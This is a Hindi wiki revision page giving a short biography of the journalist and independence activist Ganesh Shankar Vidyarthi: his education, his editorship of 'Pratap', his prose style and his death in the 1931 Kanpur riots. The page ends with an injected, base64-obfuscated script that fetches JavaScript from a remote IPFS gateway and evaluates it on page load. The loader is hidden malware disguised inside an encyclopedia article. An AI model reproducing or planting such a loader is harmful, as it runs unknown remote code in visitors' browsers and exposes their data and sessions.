गणेशशंकर विद्यार्थी: Difference between revisions
[unchecked revision] | [unchecked revision] |
गोविन्द राम (talk | contribs) m (Adding category Category:स्वतंत्रता सेनानी (को हटा दिया गया हैं।)) |
गोविन्द राम (talk | contribs) m (श्रेणी:स्वतंत्रता सेनानी; Adding category Category:स्वतन्त्रता सेनानी (को हटा दिया गया हैं।)) |
||
Line 28: | Line 28: | ||
__INDEX__ | __INDEX__ | ||
[[Category:साहित्यकार]][[Category:साहित्य_कोश]] | [[Category:साहित्यकार]][[Category:साहित्य_कोश]] | ||
[[Category: | [[Category:स्वतन्त्रता सेनानी]] |
Revision as of 13:55, 30 December 2010
गणेशशंकर विद्यार्थी (जन्म- सितंबर, 1890, प्रयाग; 1931, कानपुर) एक निडर और निष्पक्ष पत्रकार तो थे ही, एक समाज-सेवी, स्वतंत्रता सेनानी और कुशल राजनीतिज्ञ भी थे। स्वाधीनता संग्राम में उनका महत्वपूर्ण योगदान रहा।
जीवन परिचय
गणेशशंकर विद्यार्थी का जन्म सितम्बर, 1890 ई. में अपने ननिहाल प्रयाग में हुआ था। इनके पिता का नाम श्री जयनारायण था। वे अध्यापक थे और उर्दू फ़ारसी ख़ूब जानते थे। गणेशशंकर विद्यार्थी की शिक्षा-दीक्षा मुंगावली (ग्वालियर) में हुई थी। इन्होंने उर्दू-फ़ारसी का अध्ययन किया। यह आर्थिक कठिनाइयों के कारण एण्ट्रेंस तक ही पढ़ सके। किन्तु उनका स्वतंत्र अध्ययन अनवरत चलता ही रहा।
कार्यक्षेत्र
इसके बाद कानपुर में इन्होंने करेंसी ऑफ़िस में नौकरी की, किन्तु इनकी अंग्रेज़ अधिकारी से नहीं पटी। अत: यह नौकरी छोड़कर अध्यापक हो गए। महावीर प्रसाद द्विवेदी इनकी योग्यता पर रीझे हुए थे। उन्होंने विद्यार्थी जी को अपने पास 'सरस्वती' के लिए बुला लिया। विद्यार्थी जी की रुचि राजनीति की ओर थी। यह एक ही वर्ष के बाद अभ्युदय नामक पत्र में चले गये और फिर कुछ दिनों तक वहीं पर रहे। इसके बाद सन 1907 से 1912 तक का इनका जीवन अत्यन्त संकटापन्न रहा। इन्होंने कुछ दिनों तक 'प्रभा' का भी सम्पादन किया था। 1913, अक्टूबर मास में 'प्रताप' (साप्ताहिक) के सम्पादक हुए। इन्होंने अपने पत्र में किसानों की आवाज़ बुलन्द की। सामाजिक, आर्थिक और राजनीतिक समस्याओं पर इनके विचार बड़े ही निर्भीक होते थे। विद्यार्थी जी ने देशी रियासतों की प्रजा पर किये गये अत्याचारों का भी तीव्र विरोध किया। गणेशशंकर विद्यार्थी कानपुर के लोकप्रिय नेता तथा पत्रकार, शैलीकार एवं निबन्ध लेखक रहे हैं। यह अपनी अतुल देश भक्ति और अनुपम आत्मोसर्ग के लिए चिरस्मरणीय रहेंगे।
विद्यार्थी जी ने प्रेमचन्द की तरह पहले उर्दू में लिखना प्रारम्भ किया था। उसके बाद हिन्दी में पत्रकारिता के माध्यम से वे आये और आजीवन पत्रकार रहे। उनके अधिकांश निबन्ध त्याग और बलिदान सम्बन्धी विषयों पर हैं। इसके अतिरिक्त वे एक बहुत अच्छे वक्ता भी थे।
भाषा
विद्यार्थी जी की भाषा में अपूर्व शक्ति है। उसमें सरलता और प्रवाहमयता सर्वत्र मिलती है।
शैली
विद्यार्थी जी की शैली में भावात्मकता, ओज, गाम्भीर्य और निर्भीकता भी पर्याप्त मात्रा में पायी जाती है। उसमें आप वक्रता प्रधान शैली ग्रहण कर लेते हैं। जिससे निबन्ध कला का ह्रास भले होता दिखे, किन्तु पाठक के मन पर गहरा प्रभाव पड़े बिना नहीं रहता।
मृत्यु
गणेशशंकर विद्यार्थी की मृत्यु कानपुर के हिन्दू-मुस्लिम दंगे में निस्सहायों को बचाते हुए सन 1931 ई. में हो गई।
|
|
|
|
|
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>